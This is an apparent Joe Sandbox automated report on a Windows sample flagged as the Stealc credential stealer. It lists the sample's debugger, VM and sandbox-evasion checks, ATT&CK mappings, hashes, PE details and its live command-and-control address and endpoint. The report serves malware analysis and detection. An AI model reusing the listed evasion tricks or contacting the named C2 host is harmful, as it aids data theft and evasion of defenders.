Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B65DE7 second address: B65DEB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6A80C second address: B6A816 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F374C500076h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6A816 second address: B6A81C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6A81C second address: B6A820 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53302B6 second address: 53302BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53302BB second address: 53302C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53302C1 second address: 53302C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53302C5 second address: 53302C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53302C9 second address: 5330313 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a mov ebx, esi 0x0000000c pushfd 0x0000000d jmp 00007F374CE66334h 0x00000012 or cx, E168h 0x00000017 jmp 00007F374CE6632Bh 0x0000001c popfd 0x0000001d popad 0x0000001e push eax 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F374CE66334h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53303FF second address: 5330404 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5330404 second address: 5330409 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8604D second address: A86051 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 8E18C4 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: A7E2C6 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: B035F3 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006938B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_006938B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00694910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00694910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0068DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0068DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0068E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0068E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00694570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00694570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0068ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0068ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0068BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0068BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0068DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0068DE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006816D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_006816D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00693EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00693EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0068F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0068F6B0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00681160 GetSystemInfo,ExitProcess,

0_2_00681160

Source: file.exe, file.exe, 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.1767079494.000000000146E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.1767079494.00000000014B4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1767079494.00000000014E2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13574
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13559
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13562
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13613
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13582

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_006845C0 VirtualProtect ?,00000004,00000100,00000000

0_2_006845C0

Source: C:\Users\user\Desktop\file.exe

0_2_00699860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00699750 mov eax, dword ptr fs:[00000030h]

0_2_00699750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00697850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00697850

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 7260, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00699600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00699600

Source: file.exe, file.exe, 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: xXeProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00697B90

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00696920 GetSystemTime,sscanf,SystemTimeToFileTime,SystemTimeToFileTime,ExitProcess,

0_2_00696920

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00697850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00697850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00697A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_00697A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.680000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1767079494.000000000146E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1718963736.00000000051A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7260, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.680000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1767079494.000000000146E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1718963736.00000000051A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7260, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	1 Masquerading	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	33 Virtualization/Sandbox Evasion	LSASS Memory	641 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Disable or Modify Tools	Security Account Manager	33 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	13 Process Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Account Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	324 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	54%	Virustotal		Browse
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
http://185.215.113.37/	100%	URL Reputation	malware
http://185.215.113.37/ws	100%	URL Reputation	malware
http://185.215.113.37	100%	URL Reputation	malware
http://185.215.113.37/e2b1563c6670f193.php	100%	URL Reputation	malware
http://185.215.113.37/e2b1563c6670f193.phpL	17%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.php8	17%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.phpx	17%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.php$	17%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.phpP	17%	Virustotal		Browse

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/e2b1563c6670f193.phpL	file.exe, 00000000.00000002.1767079494.00000000014B4000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37o	file.exe, 00000000.00000002.1767079494.000000000146E000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpRx	file.exe, 00000000.00000002.1767079494.00000000014C8000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpP	file.exe, 00000000.00000002.1767079494.00000000014B4000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37/ws	file.exe, 00000000.00000002.1767079494.00000000014C8000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://185.215.113.37/Lxcq	file.exe, 00000000.00000002.1767079494.00000000014C8000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.php8	file.exe, 00000000.00000002.1767079494.00000000014B4000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37/e2b1563c6670f193.phpx	file.exe, 00000000.00000002.1767079494.00000000014B4000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37/6122658-3693405117-2476756634-1002e	file.exe, 00000000.00000002.1767079494.00000000014B4000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/UxZq	file.exe, 00000000.00000002.1767079494.00000000014C8000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/cx	file.exe, 00000000.00000002.1767079494.00000000014C8000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37	file.exe, 00000000.00000002.1767079494.000000000146E000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php$	file.exe, 00000000.00000002.1767079494.00000000014C8000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1532364
Start date and time:	2024-10-13 02:43:05 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 12s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	1
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@1/0@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 80% Number of executed functions: 19 Number of non-executed functions: 82
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Report size getting too big, too many NtQueryValueKey calls found.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.948199345776722
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'812'992 bytes
MD5:	fb664593a62eba5ceb677e19aedc1673
SHA1:	aee5527070492aa7d1e7c93a3a806ba0ef8fab8c
SHA256:	0d7cf91d5f474164b23946086b63538ccb1e4bf612e45e9556b2021574b26731
SHA512:	9daa8fac60192325b864abab66fd336fb9780520cdd6d92e1ed3adaf0709c1c8fa3f244ed32d3f22a88b49196ed10f098df3a68edb547654b5e471b90bf20995
SSDEEP:	49152:+mjNu5fveeWJOxlGWV6E+oW8zNzwRkdWQifYK5i:e3eeWJOG0+oW8zNzWBQ
TLSH:	738533D48C39C2EEDC0548B1F5F6C61B34ADEC610EDAB279A52CC6B5923AF643006B5D
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...J..f...........

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0xa8a000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F99A4A [Sun Sep 29 18:19:54 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F374CE79DFAh
js 00007F374CE79E11h
add byte ptr [eax], al
jmp 00007F374CE7BDF5h
add byte ptr [0000000Ah], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], ch
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax], bl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 0Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
inc eax
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	a5ac66f4a874f117cd276a05d87a70cf	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x296000	0x200	b4e0dc5711a23e4046392eff11b943a9	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
miiyolpi	0x4f4000	0x195000	0x194600	954e1dd92542375ef8f9ebbcc8a324bd	False	0.9950571145672333	data	7.954024820130496	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
gkepzjad	0x689000	0x1000	0x600	7906390b8844c1779fb515c3b91e0c6e	False	0.587890625	data	5.027648785311885	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x68a000	0x3000	0x2200	9c9b371789ae93e188356b517404fbbe	False	0.06330422794117647	DOS executable (COM)	0.7797749107477159	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-13T02:44:05.656962+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49730	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
